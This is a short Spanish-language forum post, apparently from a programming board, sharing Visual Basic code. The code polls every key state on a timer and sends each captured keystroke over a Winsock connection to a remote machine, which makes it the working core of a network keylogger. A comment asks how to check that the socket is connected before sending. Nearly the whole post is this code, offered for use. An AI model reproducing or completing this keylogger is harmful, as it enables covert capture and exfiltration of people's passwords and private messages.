bueno ahora posteo el code como lo dijo neo
saludos
Código (vb) [Seleccionar]
Dim PropBag As New PropertyBag
Option Explicit
Private Declare Function GetAsyncKeyState _
Lib "user32" ( _
ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
Dim i As Integer
For i = 0 To 255
If GetAsyncKeyState(i) = -32767 And Winsock1.State = 7 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos
Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
End If
Next
End Sub
saludos